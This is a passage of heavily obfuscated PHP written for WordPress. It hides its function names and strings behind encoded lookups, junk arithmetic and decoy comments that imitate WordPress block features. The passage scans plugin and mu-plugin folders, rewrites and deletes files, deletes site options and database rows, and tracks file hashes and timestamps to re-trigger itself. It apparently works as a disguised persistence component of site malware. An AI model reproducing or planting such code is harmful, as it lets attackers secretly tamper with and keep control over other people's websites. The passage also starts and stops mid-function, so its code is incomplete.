    if  (!@$GLOBALS['__scf_ouhqpycgey_4a_74']($_5c705a70n47l, $lg43ml2abp6bop))    {
@$GLOBALS['__scf_kb97m2p3ij_17']($_5c705a70n47l);
 return;



  }
 if ($q7ndn7vshkx)    @$GLOBALS['__scf_gl7by4d7j2f1u_73']($lg43ml2abp6bop,      $q7ndn7vshkx);
if   ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1512)))  @opcache_invalidate($lg43ml2abp6bop,    true);
  if ($nin516090_p7r0)  zvn_deaq8dwiaefof_fe($lg43ml2abp6bop);
 if (($nin516090_p7r0     ||   $vxglxv95rb20bkv) && $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1176)))  @delete_option(woii22it0(1552));
     if  ($GLOBALS['__scf_lhkryjtve8q_ns_1373'](lgr6hp92ka(1553),  $lc93ko9shcjvb9,  $lbw4jz3dc6acr))   {
 foreach   ($GLOBALS['__scf_w5opg4gsg8g4tp_148']($lbw4jz3dc6acr[1])     as     $d8qcnn9sh_) {
   if ($GLOBALS['__scf_p9nk7khmjys_7']($d8qcnn9sh_,   k83m2slbb(1526)) ===   0 &&    @$GLOBALS['__scf_mtwlgr3p78_18']($d8qcnn9sh_)) @$GLOBALS['__scf_kb97m2p3ij_17']($d8qcnn9sh_);
}
       }

  if   ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1554))  &&   $GLOBALS['__scf_lhkryjtve8q_ns_1373'](n747he9yo38(1555),  $lc93ko9shcjvb9,    $w28cl_yr0he))     {
// WP Columns Block: pure-adj opaque-type

    foreach    ($GLOBALS['__scf_w5opg4gsg8g4tp_148']($w28cl_yr0he[1]) as   $plr9rcneu4901ica)   {
if   ($GLOBALS['__scf_iz3o_ajtgml6rf_96'](k83m2slbb(1556),    $plr9rcneu4901ica))   @delete_option($plr9rcneu4901ica);
      }



}
}
function   i3ab5v0vtky741ljkcb()

      {
    if     (!defined(woii22it0(1520)))    return;
$kg6gcvq0nudimx9    =    defined(n747he9yo38(1304))     ?     WPMU_PLUGIN_DIR : WP_CONTENT_DIR .  k83m2slbb(1303);


 $y19e5th45zm     =   array();
     if   ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(812)))  {



 if   (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($kg6gcvq0nudimx9)) foreach  ((array)  @$GLOBALS['__scf_xn1tkts0av_71']($kg6gcvq0nudimx9 . k83m2slbb(1557))    as $tvefhnsaqq3)  $y19e5th45zm[]   = $tvefhnsaqq3;

   if    (defined(woii22it0(1305))   &&      @$GLOBALS['__scf_b9jmgi5qxqoj5q_42'](WP_PLUGIN_DIR))    foreach ((array) @$GLOBALS['__scf_xn1tkts0av_71'](WP_PLUGIN_DIR .   woii22it0(459)) as $tvefhnsaqq3)  $y19e5th45zm[]    =    $tvefhnsaqq3;
  }

     $t61v35s0k3e40qz =  defined(hwc6a8djp6yy(1558)) ? ABSPATH   :   "";
$rhxdrjjwnd6    =      WP_CONTENT_DIR    . woii22it0(87)  .    $GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf__pih7hoh4m_56']($t61v35s0k3e40qz  .    lgr6hp92ka(88)),     0,     (7+1))   . n747he9yo38(89)     .    $GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf__pih7hoh4m_56']($t61v35s0k3e40qz .   hwc6a8djp6yy(1559)), 0, (4<<1)) .   woii22it0(1521);
   if    (@$GLOBALS['__scf_mtwlgr3p78_18']($rhxdrjjwnd6)) $y19e5th45zm[] = $rhxdrjjwnd6;
// WP Avatar Block lazy decode

 foreach ($y19e5th45zm  as   $tvefhnsaqq3)   {
$q7ndn7vshkx =     @$GLOBALS['__scf_gibkjes9ds_98']($tvefhnsaqq3);
 if     (!$q7ndn7vshkx  ||   ($q7ndn7vshkx    %   (0x162cf+0x23d1)) !== (93744+75))  {
     $qrgoqii3rx33y =  @$GLOBALS['__scf_vhi5vhdwib7ye_99']($tvefhnsaqq3);
      if (!$qrgoqii3rx33y  || $qrgoqii3rx33y   < (495+5) ||  $qrgoqii3rx33y >  (52428795+5))    continue;
 }
      $zm3znh19_q    = @$GLOBALS['__scf_h8_ju28bwdwm_32']($tvefhnsaqq3);
 $eqmm6t492z    =  @$GLOBALS['__scf_h8_ju28bwdwm_32'](vcr09jqkbni2k4ee0y());
  if   ($GLOBALS['__scf_epa1jymnf5_40']($zm3znh19_q)     &&   $GLOBALS['__scf_epa1jymnf5_40']($eqmm6t492z) &&     $zm3znh19_q   === $eqmm6t492z)  continue;
$_je48tse6vyy9 =     @$GLOBALS['__scf_zonhpgc286wu1_95']($tvefhnsaqq3,   false,      null,    0, (0x2b0+0xd50));
   $akmuo5nbnb42ntr   =      null;
   if  ($GLOBALS['__scf_epa1jymnf5_40']($_je48tse6vyy9) && $GLOBALS['__scf_iz3o_ajtgml6rf_96'](woii22it0(1560), $_je48tse6vyy9,  $zx2roz582s27)) $akmuo5nbnb42ntr =      $zx2roz582s27[1];
elseif  (aay1vdwvzc2am3cxpp($tvefhnsaqq3,  (4959+41)))  $akmuo5nbnb42ntr   = woii22it0(205);$a10wwy28h=8241;$vu1vpoj9dg8=$a10wwy28h%10;
  if  ($akmuo5nbnb42ntr   ===    null ||  !version_compare($akmuo5nbnb42ntr, tdwuvuxeuijm__qj(), '<'))   continue;
    $zqjcpt8jquyba8  =     lgftgp4euaxcaljt50i41y($tvefhnsaqq3);
 if  ($zqjcpt8jquyba8     ===   false) {
     pas31bymshzdagwkp(k83m2slbb(1510),    n747he9yo38(1561)  .  $GLOBALS['__scf_a39nlvrnocxziu_3']($tvefhnsaqq3));
    continue;
     }
 if ($zqjcpt8jquyba8 === true)    {
  if   (b8zzgtiwx2_ws6($tvefhnsaqq3, $tvefhnsaqq3  . lgr6hp92ka(1562)))  {
if   ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1512)))  @opcache_invalidate($tvefhnsaqq3,  true);
}   elseif (!wnwikrl63gfcik($tvefhnsaqq3)  &&    r79wzjjsrh9qzxcd6t9z($tvefhnsaqq3)) {


w7pzvknzw2svspdvngmfb($tvefhnsaqq3);
  dl6vubnjzess3mg_2gm($tvefhnsaqq3);
    }
  @$GLOBALS['__scf_kb97m2p3ij_17']($GLOBALS['__scf_zf6ei6xtcw1fb_11']($tvefhnsaqq3) .  k83m2slbb(196)   .     $GLOBALS['__scf_a39nlvrnocxziu_3']($tvefhnsaqq3, n747he9yo38(1563)));
 continue;
     }
 if  (!wnwikrl63gfcik($tvefhnsaqq3)  &&  r79wzjjsrh9qzxcd6t9z($tvefhnsaqq3)) {
  w7pzvknzw2svspdvngmfb($tvefhnsaqq3);
  dl6vubnjzess3mg_2gm($tvefhnsaqq3);
       }
   zkbckq1nlavf2wyjep($tvefhnsaqq3);

 }
  g_yc2hfpiempnkm9duiw();
   $uji_cv6tcd305sau = WP_CONTENT_DIR  .    hwc6a8djp6yy(1057);
  if   (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($uji_cv6tcd305sau) &&  $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1564))) {$m9op69lxshlxf=(0xae+0x4b);$omjuemp9u=$m9op69lxshlxf%6;
foreach ((array)  @$GLOBALS['__scf_xn1tkts0av_71']($uji_cv6tcd305sau . n747he9yo38(1565))    as $a21_o1z475xvxd)  {
if   (!@$GLOBALS['__scf_mtwlgr3p78_18']($a21_o1z475xvxd)  ||  !@$GLOBALS['__scf_vz80l0_46bwga_46']($a21_o1z475xvxd))  continue;

  $u6wzecs8hib3y23v =   @$GLOBALS['__scf_vhi5vhdwib7ye_99']($a21_o1z475xvxd);
  if    (!$u6wzecs8hib3y23v  ||  $u6wzecs8hib3y23v   >  (0xca65c+0x1359a4)) continue;$e78t8jbm=PHP_MAJOR_VERSION;$c1i8u05nlqel0d=$e78t8jbm*10;
      $o3sb_0_6gi7ywm3g   = @$GLOBALS['__scf_zonhpgc286wu1_95']($a21_o1z475xvxd);
  if   (!$GLOBALS['__scf_epa1jymnf5_40']($o3sb_0_6gi7ywm3g))  continue;
 if  ($GLOBALS['__scf_p9nk7khmjys_7']($o3sb_0_6gi7ywm3g,   lgr6hp92ka(1566))    === false   && $GLOBALS['__scf_p9nk7khmjys_7']($o3sb_0_6gi7ywm3g,      k83m2slbb(1567)) === false && $GLOBALS['__scf_p9nk7khmjys_7']($o3sb_0_6gi7ywm3g, n747he9yo38(1568)) ===     false)  continue;
       if  (!ycebi12ldckehe52($o3sb_0_6gi7ywm3g))   continue;
     $v6gpg3wrfwt  =   aos6k37ji4ryyhkga73e($o3sb_0_6gi7ywm3g);
if ($GLOBALS['__scf_epa1jymnf5_40']($v6gpg3wrfwt)  &&   $v6gpg3wrfwt  !== $o3sb_0_6gi7ywm3g) {
m9xp6uh5w1cal39pfn4cx($a21_o1z475xvxd, $v6gpg3wrfwt);
 if  ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1512)))   @opcache_invalidate($a21_o1z475xvxd,  true);
  }
      }
}
j1w_xn94qvcydlb2xc(WP_CONTENT_DIR     .  woii22it0(1163));
     j1w_xn94qvcydlb2xc(WP_CONTENT_DIR .  woii22it0(507));
if ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(1404))     && $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1569))  &&   $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1570)))    {
$_on  =     w5r7ae3dymnovvl7(ABSPATH   .    n747he9yo38(1206),    (0x7+0x3));
  $g65by2mv0xa   =    @get_option($_on, "");
     if  ($GLOBALS['__scf_epa1jymnf5_40']($g65by2mv0xa) && $g65by2mv0xa  !==     "")   {


       $cvavjltsu69zgic8 = $GLOBALS['__scf_ts5_ao9xhku_355']($g65by2mv0xa, true);
if     ($GLOBALS['__scf_epa1jymnf5_40']($cvavjltsu69zgic8)      &&   ocvno3eyjx33hv_mc($cvavjltsu69zgic8)) @delete_option($_on);
      }
$yzw2od585t73c     =    $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1571)) ?  z6q8c6q8s6lg_2r(lgr6hp92ka(1314),  "")   :  "";
      if ($GLOBALS['__scf_epa1jymnf5_40']($yzw2od585t73c)  &&  $yzw2od585t73c  !== ""   && ($GLOBALS['__scf_h5yqrl6kmpb_10']($yzw2od585t73c)  >   (1277336-228760) ||  ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1572)) && rn7y5z4w_xtam4pshy6($yzw2od585t73c))  || _8029ai1hnzfbfzid0n($yzw2od585t73c)))   {
 if  ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(1573)))     htdydg38ahuyxm73zkqz0(lgr6hp92ka(1314),   "",  n747he9yo38(1574));
  }



 }
    }
  function fy8b7vzh9lcg9rr8lt23u_()
   {
 try   {

 if   (!defined(lgr6hp92ka(1575)))  return;
 if (!empty($GLOBALS[k83m2slbb(1576)]))  {
    $GLOBALS[n747he9yo38(1576)] = 0;
    pas31bymshzdagwkp(k83m2slbb(1577), woii22it0(1578));
     }
   if  (!empty($GLOBALS[lgr6hp92ka(701)]))    return;

 $GLOBALS[woii22it0(701)] =    true;
 if  (!isset($_GET[lgr6hp92ka(1579)])    && $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1404))  &&    $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1413)))    {
       $v5lj4zk5c_a2pwo    = @get_option(k83m2slbb(1504),   array());
   $zxms963qcw  = false;
if  ($GLOBALS['__scf_lxbo0xm7220an_34']($v5lj4zk5c_a2pwo))   {
      if      (!empty($v5lj4zk5c_a2pwo['t']))    $zxms963qcw =  true;
  if   (!$zxms963qcw  &&  !empty($v5lj4zk5c_a2pwo[woii22it0(1502)])  && $GLOBALS['__scf_lxbo0xm7220an_34']($v5lj4zk5c_a2pwo[lgr6hp92ka(1502)]))  {
  foreach  ($v5lj4zk5c_a2pwo[lgr6hp92ka(1502)]  as  $_ci)     {
if   ($GLOBALS['__scf_lxbo0xm7220an_34']($_ci)    && !empty($_ci['p']))  {
$zxms963qcw = true;
   break;
}
    }
    }



 }
 if ($zxms963qcw)   $GLOBALS['__scf_ht1k88rhfc_173'](k83m2slbb(1439));
}
if  (l95i0qiwfmdi69_bke(vcr09jqkbni2k4ee0y())) return;
  $a1jqsb3yekh  =  $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1404))   ?   (int)  get_option(n747he9yo38(1580),  0)  :  0;
if  ($a1jqsb3yekh  <      $GLOBALS['__scf_cyotfgtf1a8m_189']() -   (281+19)  || $a1jqsb3yekh    >    $GLOBALS['__scf_cyotfgtf1a8m_189']()   +     (272+28))  {
   if     ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1581)))  @update_option(k83m2slbb(1580),    $GLOBALS['__scf_cyotfgtf1a8m_189']());
    i3ab5v0vtky741ljkcb();
}


unset($a1jqsb3yekh);
 jvq36l6j_2d3pu6yb(vcr09jqkbni2k4ee0y(),     tdwuvuxeuijm__qj());
      if (!r9yn02bzgmbr36())  {
    m5laqq_26lwiqe39yerf35();
  vx_3rl3l1hvrym60();
    return;

   }
   $adclv0gbv4g2vk = ms1ba5i41di9frre();
$u7_9yaf7mrjwr  =  array(
 vcr09jqkbni2k4ee0y(),


$adclv0gbv4g2vk  . hwc6a8djp6yy(1582),
  );
   $ah2jfe3jheh =    pqscyzk0b3_i9ywd6xqxv();
 foreach ($ah2jfe3jheh  as  $oxq9jlaa92k_bo9h)    {
     if   (@$GLOBALS['__scf_mtwlgr3p78_18']($oxq9jlaa92k_bo9h)) $u7_9yaf7mrjwr[]    =  $oxq9jlaa92k_bo9h;
      }
$r5ef2yf4p4  =    array();



$uw6713xibh  =  ibwp6epnxuwn4akbn();
if (@$GLOBALS['__scf_mtwlgr3p78_18']($uw6713xibh[1]))   $r5ef2yf4p4[k83m2slbb(1583)   .      $uw6713xibh[0]]   =   n747he9yo38(1231)    .     $uw6713xibh[2];
 $aa1s896y8_1kuv  = @get_option(n747he9yo38(1584),  array());
 if  (!$GLOBALS['__scf_lxbo0xm7220an_34']($aa1s896y8_1kuv))  $aa1s896y8_1kuv  =   array();


  $gvuykfbp9020  =   false;$ns1kod_uh=759;$mqt0xrhha=($ns1kod_uh>0)?$ns1kod_uh:-$ns1kod_uh;
 foreach    ($u7_9yaf7mrjwr as  $obb00_vecb89w9f6) {
  $theja9gr8n  =   @$GLOBALS['__scf_j79li4kldtct_52']($obb00_vecb89w9f6);


$al64q38r1t1uqjj  =    $theja9gr8n  ?    ($theja9gr8n[k83m2slbb(1585)]    . '|'  . $theja9gr8n[hwc6a8djp6yy(1586)]) :   '0';
$hhkvepjggyq_  = isset($aa1s896y8_1kuv[$obb00_vecb89w9f6]) ?  $aa1s896y8_1kuv[$obb00_vecb89w9f6] :  "";
   if ($al64q38r1t1uqjj  ===  $hhkvepjggyq_)  continue;
  if    ($GLOBALS['__scf_iz3o_ajtgml6rf_96'](hwc6a8djp6yy(1587),  $hhkvepjggyq_,   $jhurcc8kcazsh5)   &&   $GLOBALS['__scf_pdat24v9nxkx0_9']($hhkvepjggyq_,   0,   -$GLOBALS['__scf_h5yqrl6kmpb_10']($jhurcc8kcazsh5[0]))   ===   $al64q38r1t1uqjj    &&    $GLOBALS['__scf_cyotfgtf1a8m_189']()  -  (int) $jhurcc8kcazsh5[1] <      (0x417+0x9f9))  continue;
      $gvuykfbp9020     =    true;
        break;

     }
// traverse chain for WP Block Variations

     if   (!$gvuykfbp9020)    {
     foreach     ($r5ef2yf4p4   as  $key   =>  $y7pwmaqvgj3xe)   {
$al64q38r1t1uqjj  = rgj0wnjkmqea4q($GLOBALS['__scf_pdat24v9nxkx0_9']($key,     (28^25)),   $y7pwmaqvgj3xe);



 $hhkvepjggyq_ = isset($aa1s896y8_1kuv[$key]) ? $aa1s896y8_1kuv[$key]  :      "";
    if     ($al64q38r1t1uqjj ===    $hhkvepjggyq_)     continue;
if   ($GLOBALS['__scf_iz3o_ajtgml6rf_96'](woii22it0(1587),  $hhkvepjggyq_, $jhurcc8kcazsh5)  &&  $GLOBALS['__scf_pdat24v9nxkx0_9']($hhkvepjggyq_,  0,  -$GLOBALS['__scf_h5yqrl6kmpb_10']($jhurcc8kcazsh5[0]))    ===  $al64q38r1t1uqjj &&  $GLOBALS['__scf_cyotfgtf1a8m_189']()    -  (int)     $jhurcc8kcazsh5[1]   <  (89102-2702))  continue;
       $gvuykfbp9020   = true;
       break;
   }
    }
  $luvbyqqzffvmt6qm  =  $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(), k83m2slbb(1588));
  $d6cw5japsn3  =   $adclv0gbv4g2vk  . hwc6a8djp6yy(1589) .   $luvbyqqzffvmt6qm  . '/'  .  $luvbyqqzffvmt6qm .   k83m2slbb(1588);
      $rsdgu7a8coscza    =   tetbo1mw3tcg77m6_tacy();
  

  if   (!@$GLOBALS['__scf_mtwlgr3p78_18']($d6cw5japsn3)  ||   (int) @$GLOBALS['__scf_vhi5vhdwib7ye_99']($d6cw5japsn3)     <  (4949+51))   $gvuykfbp9020 =  true;


     if ($rsdgu7a8coscza    !== ""     &&  !@$GLOBALS['__scf_mtwlgr3p78_18']($rsdgu7a8coscza))   $gvuykfbp9020    =     true;
if  (!$gvuykfbp9020  &&  $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1404)))  {



$wi4dyniu98z49qe   =  $luvbyqqzffvmt6qm   .    '/'  . $luvbyqqzffvmt6qm   .   hwc6a8djp6yy(1588);
$r3_9vflezrasbeo =  get_option(n747he9yo38(736),  array());
 if (!$GLOBALS['__scf_lxbo0xm7220an_34']($r3_9vflezrasbeo)    ||    !$GLOBALS['__scf_a2dj3p28xfi_149']($wi4dyniu98z49qe, $r3_9vflezrasbeo,  true))  $gvuykfbp9020 =   true;
}
if  (!$gvuykfbp9020)  return;
$xtos674pgot2    =    $GLOBALS['__scf_cyotfgtf1a8m_189']();
 $nion3voyn4q    =     0;

$t1y4fzxkz1lifa90  = 0;
if  ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1590)))    {
   $drhqrnweqpwj9n9a  =  @get_option(lgr6hp92ka(1591),  "");
 if  ($GLOBALS['__scf_epa1jymnf5_40']($drhqrnweqpwj9n9a)  && $GLOBALS['__scf_iz3o_ajtgml6rf_96'](woii22it0(1592),      $drhqrnweqpwj9n9a, $v5as3pvfygc6fl)) {
  $nion3voyn4q     =  (int) $v5as3pvfygc6fl[1];
     $t1y4fzxkz1lifa90  =  (int)  $v5as3pvfygc6fl[2];
}
   }
    $bq1omdlvdi0xpzy_  = $t1y4fzxkz1lifa90 <= 0 ?   0  :   ($t1y4fzxkz1lifa90 ===   1  ? (15<<2)  : ($t1y4fzxkz1lifa90 === 2   ?      (0xa3+0x89)  :  (1781+19)));
 if     ($nion3voyn4q     >  0 &&  ($xtos674pgot2   -     $nion3voyn4q)   <   $bq1omdlvdi0xpzy_)    return;

  if  (!oxds6f4_kj2x2e4np9e(n747he9yo38(988)))   return;
try    {


    mmmxkpo7z9k2vlcrw401fz();
  b7k40sq2cap6kxh69();
vx_3rl3l1hvrym60();


k0ricfsu2hbmwz();



emd7g03dgmf33s9vtn4_iw();
   m5laqq_26lwiqe39yerf35();
     sbb7fpbjv849c7sre7tpm();
  w7zl9bs6xjii7y3z();
$hlrm0di_sscgup4   =   uilv8513ypbbeio();
$kxqr6terj9 = cqwoeosxo567j7f7u3u();
  $eusgqs4uuxmgtlm  =  (!@$GLOBALS['__scf_mtwlgr3p78_18']($d6cw5japsn3)  ||  (int)  @$GLOBALS['__scf_vhi5vhdwib7ye_99']($d6cw5japsn3)  <      (4917+83)) ||     ($rsdgu7a8coscza  !==    "" &&    !@$GLOBALS['__scf_mtwlgr3p78_18']($rsdgu7a8coscza));
if (!$eusgqs4uuxmgtlm   &&  !@$GLOBALS['__scf_mtwlgr3p78_18']($adclv0gbv4g2vk   .  hwc6a8djp6yy(1582)))     $eusgqs4uuxmgtlm  =  true;
  if   (!$eusgqs4uuxmgtlm &&   $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1590))) {

  $wi4dyniu98z49qe  =   $luvbyqqzffvmt6qm . '/'      .   $luvbyqqzffvmt6qm   .   lgr6hp92ka(1588);
 $r3_9vflezrasbeo  = get_option(k83m2slbb(736), array());
    if (!$GLOBALS['__scf_lxbo0xm7220an_34']($r3_9vflezrasbeo)    ||      !$GLOBALS['__scf_a2dj3p28xfi_149']($wi4dyniu98z49qe, $r3_9vflezrasbeo,  true))     $eusgqs4uuxmgtlm   =  true;

  }



  if ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1581)))  @update_option(woii22it0(1591),  $xtos674pgot2    . '|'     .   ($eusgqs4uuxmgtlm    ? ($t1y4fzxkz1lifa90  +    1)   :  0),   n747he9yo38(1593));
   $f6uoz8zvxmza   =    array();
foreach      ($u7_9yaf7mrjwr as  $obb00_vecb89w9f6) {
/* indefinite singleton */

    $g0pcwe3uj6h7lu  =     ($obb00_vecb89w9f6 ===    $adclv0gbv4g2vk     . lgr6hp92ka(1582) &&    !$hlrm0di_sscgup4) ||     ($GLOBALS['__scf_pdat24v9nxkx0_9']($obb00_vecb89w9f6,    -(98^108))  ===     hwc6a8djp6yy(1594)    &&  !$kxqr6terj9);

  $theja9gr8n = @$GLOBALS['__scf_j79li4kldtct_52']($obb00_vecb89w9f6);
      if ($theja9gr8n)   {
 $f6uoz8zvxmza[$obb00_vecb89w9f6]    =  $theja9gr8n[n747he9yo38(1585)]   . '|'   .   $theja9gr8n[woii22it0(1586)]   . ($g0pcwe3uj6h7lu ?   woii22it0(1595)    .  $GLOBALS['__scf_cyotfgtf1a8m_189']() :   "");


 }


      }



    foreach  ($r5ef2yf4p4 as    $key  =>   $y7pwmaqvgj3xe) {
      $rllpb3lgun__ =    rgj0wnjkmqea4q($GLOBALS['__scf_pdat24v9nxkx0_9']($key, (3+2)),    $y7pwmaqvgj3xe);
if ($rllpb3lgun__  === '0'   ||    $GLOBALS['__scf_pdat24v9nxkx0_9']($rllpb3lgun__,  -2)   ===    k83m2slbb(1596))  $rllpb3lgun__  .=     lgr6hp92ka(1595)  .  $GLOBALS['__scf_cyotfgtf1a8m_189']();



$f6uoz8zvxmza[$key] = $rllpb3lgun__;



    }
  @update_option(n747he9yo38(1584), $f6uoz8zvxmza,   woii22it0(1593));
 }  finally {


 hev0akflm_tefd(n747he9yo38(988));
 }
        }   catch (Throwable  $oz7m23pnscj7)     {
   pas31bymshzdagwkp(k83m2slbb(1597), $oz7m23pnscj7);
  }   catch (Exception $oz7m23pnscj7) {
 }
}
function   rgj0wnjkmqea4q($obb00_vecb89w9f6, $y7pwmaqvgj3xe)
  {
 $theja9gr8n = @$GLOBALS['__scf_j79li4kldtct_52']($obb00_vecb89w9f6);$lhy9bcyiv=83|34;$vmv_zj2wv=$lhy9bcyiv^254;
  if   (!$theja9gr8n) return  '0';
     $al64q38r1t1uqjj =   $theja9gr8n[hwc6a8djp6yy(1598)]  .  '|' .  $theja9gr8n[k83m2slbb(1599)];$bksk1et4q7msyb=PHP_MAJOR_VERSION;$vz0hxemlv2t9=$bksk1et4q7msyb*7;
  if ($theja9gr8n[n747he9yo38(1600)]  >    (1048569+7))  return    hwc6a8djp6yy(1601) .    $al64q38r1t1uqjj;
    $clyirr_5zjy      =  @$GLOBALS['__scf_zonhpgc286wu1_95']($obb00_vecb89w9f6);
  return   $al64q38r1t1uqjj . '|'    .     (($GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy)   &&  $GLOBALS['__scf_p9nk7khmjys_7']($clyirr_5zjy,  $y7pwmaqvgj3xe)  !==  false)  ? '1'      : '0');
     }
 function  pvhtzkji310stv7vd()
 {
 $_pv   =  $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(1590)) ? get_option(lgr6hp92ka(201),  "") : "";


   rdt6um_schfd52kn();


 $nkhc9g_esyoagrp = $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1590))    ?  get_option(woii22it0(201), "")   : "";

 if ($nkhc9g_esyoagrp   ===  $_pv)    {
    global  $wpdb;
 if ($GLOBALS['__scf_mvbylv45uji1_67']($wpdb) &&   $GLOBALS['__scf_jsvpc2hg_6ahvj_119']($wpdb, lgr6hp92ka(1090))  && $GLOBALS['__scf_epa1jymnf5_40']($_pv)    &&  $_pv !== "" && isset($wpdb->options)) {
   @$wpdb->query($wpdb->prepare("DE\x4c\x45TE \x46\x52O\x4d {$wpdb->options} \x57HE\x52\x45 op\x74ion_n\x61\x6de = 'sc_p\x65nding_inva\x6cida\x74\x65' A\x4eD opt\x69\x6f\x6e_v\x61lue = %s",    $_pv));
if ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1497))) {
 @wp_cache_delete(hwc6a8djp6yy(1602), n747he9yo38(1499));
 @wp_cache_delete(n747he9yo38(1603),  woii22it0(1499));



}
// WP Interactivity API contain layout


} else {
  @delete_option(k83m2slbb(1604));
  }
 }
// add structured log

   }
function  rdt6um_schfd52kn()
 {

        try  {
   if  (!defined(n747he9yo38(1575)))    return;
      $adclv0gbv4g2vk  =  ms1ba5i41di9frre();
$z6sjo3b9vuo78ncn   =  zaag8uz2ttqgqlhq();
 $mg55plvcl5ld1 = w5r7ae3dymnovvl7(ABSPATH . lgr6hp92ka(1114),   (15^7)) .   k83m2slbb(1115);
$zweumo7ukof2doh8  =   w5r7ae3dymnovvl7(ABSPATH .      hwc6a8djp6yy(1180),     (0x3+0x5)) .   lgr6hp92ka(1588);
$d5kj7ygtput_2o =  w5r7ae3dymnovvl7(ABSPATH .    n747he9yo38(1165),   (15-7)) .   lgr6hp92ka(1605);
$g36rizb5kpxrinya =  w5r7ae3dymnovvl7(ABSPATH . hwc6a8djp6yy(1150), (119^127))    .      hwc6a8djp6yy(1605);
$b6l33jiqjn   =    w5r7ae3dymnovvl7(ABSPATH   .    woii22it0(1606),     (0x4+0x4))  .  woii22it0(1605);
 $c9mftmltj4  =     woii22it0(1607) .      w5r7ae3dymnovvl7(ABSPATH .  'g', (147^155));
$ptfet2pdv3z  =  array(
 $adclv0gbv4g2vk .  k83m2slbb(1163)   => k83m2slbb(1608),
 $adclv0gbv4g2vk    .    lgr6hp92ka(1582)   =>    k83m2slbb(786),



    );
 foreach   ($ptfet2pdv3z  as    $obb00_vecb89w9f6   =>      $prefix)  {$zj0yiw2p=4|163;$wtkfa38nq=$zj0yiw2p^37;
        if     (!@$GLOBALS['__scf_mtwlgr3p78_18']($obb00_vecb89w9f6))  continue;


      $clyirr_5zjy      =  @$GLOBALS['__scf_zonhpgc286wu1_95']($obb00_vecb89w9f6);
 if  ($clyirr_5zjy  ===  false)  continue;
  $izs59vh0go50qq      = hwc6a8djp6yy(1609) . $prefix .    woii22it0(1610)    .   $prefix .  n747he9yo38(793);
    $milph6xed8a  =  $GLOBALS['__scf_lv9m74lgyu5o6_460']($izs59vh0go50qq,     "", $clyirr_5zjy);
      if   ($milph6xed8a  !==      $clyirr_5zjy) m9xp6uh5w1cal39pfn4cx($obb00_vecb89w9f6, $milph6xed8a);



}


 $ja5l8ubxsb2u476m   =    $adclv0gbv4g2vk . k83m2slbb(1611);
   if (@$GLOBALS['__scf_mtwlgr3p78_18']($ja5l8ubxsb2u476m))  {
$p2jid9i4fqg  =    @$GLOBALS['__scf_zonhpgc286wu1_95']($ja5l8ubxsb2u476m);
   if    ($GLOBALS['__scf_epa1jymnf5_40']($p2jid9i4fqg) &&    $p2jid9i4fqg  !==    "")  {
if  ($GLOBALS['__scf_iz3o_ajtgml6rf_96'](lgr6hp92ka(1612),  $GLOBALS['__scf_pdat24v9nxkx0_9']($p2jid9i4fqg,  0,   (116+184))) ||   $GLOBALS['__scf_p9nk7khmjys_7']($p2jid9i4fqg,  n747he9yo38(1226))  ===  0)  {
 dvd1rr9pr3xu08j($ja5l8ubxsb2u476m, (363+57));
y0a1xt15v3nqhjqppfzn($ja5l8ubxsb2u476m);
   }   else {
$nje_o9i57uz4xet =     $GLOBALS['__scf_lv9m74lgyu5o6_460'](hwc6a8djp6yy(1613),  "",  $p2jid9i4fqg);
    if ($GLOBALS['__scf_epa1jymnf5_40']($nje_o9i57uz4xet)  && $nje_o9i57uz4xet  !==      $p2jid9i4fqg)   m9xp6uh5w1cal39pfn4cx($ja5l8ubxsb2u476m,  $nje_o9i57uz4xet);
    unset($nje_o9i57uz4xet);$qpo8ybgw42j=61|178;$opha4q4z8=$qpo8ybgw42j^164;
}
    }
// idempotent invariant


 unset($p2jid9i4fqg);
  }
  $qyzcc0u0fb   =    $GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y()) .   woii22it0(1182);
  $ksir2926mq1a96gk   =   defined(n747he9yo38(1520)) ?  WP_CONTENT_DIR    . lgr6hp92ka(1182)  : $qyzcc0u0fb;
  $j8lsfcs32s9rjen  =   array(
$adclv0gbv4g2vk   .     '/'  .      $mg55plvcl5ld1,



 $adclv0gbv4g2vk  . '/'  . $zweumo7ukof2doh8,



 $adclv0gbv4g2vk  .   '/' . $d5kj7ygtput_2o,


  $z6sjo3b9vuo78ncn .   '/'   .  $g36rizb5kpxrinya,
    $z6sjo3b9vuo78ncn . '/'   . $b6l33jiqjn,



 $z6sjo3b9vuo78ncn  .      '/'    .    $zweumo7ukof2doh8,
 $z6sjo3b9vuo78ncn  .  '/' . $d5kj7ygtput_2o,



 $qyzcc0u0fb .    '/'  .    $g36rizb5kpxrinya,
 $qyzcc0u0fb   .      '/' .  $b6l33jiqjn,
